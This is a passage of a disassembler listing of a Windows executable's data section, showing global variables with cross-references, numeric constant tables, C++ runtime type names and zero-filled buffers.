dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CD8C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CD90 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDC8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF28 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D084 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D09C dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0BC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D0DC dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D100 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D120 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D128 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D130 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D148 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCB0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEB0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEB4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEB8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEBC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEC0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEC4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEC8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1E21h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043375Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A48o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384B8o dword_457444 dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438324o dword_4B5248 dd 569Ah dup(0) dword_4CACB0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACB4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACB8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACBC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD3C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CAD7C dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE0C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE10 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE20 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE24 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE28 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE2C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE30 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE34 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE38 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE3C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE40 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE44 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE48 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE4C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE50 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE54 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE58 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE5C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+934w dword_4CAE90 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEC0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAECC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAED8 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAEE0 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAEE4 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAEFC dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF08 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF10 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF14 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF18 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF1C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF28 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF2C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF4C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF50 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF58 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF5C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAF74 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAF80 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAF8C dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFA4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB020 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w ; 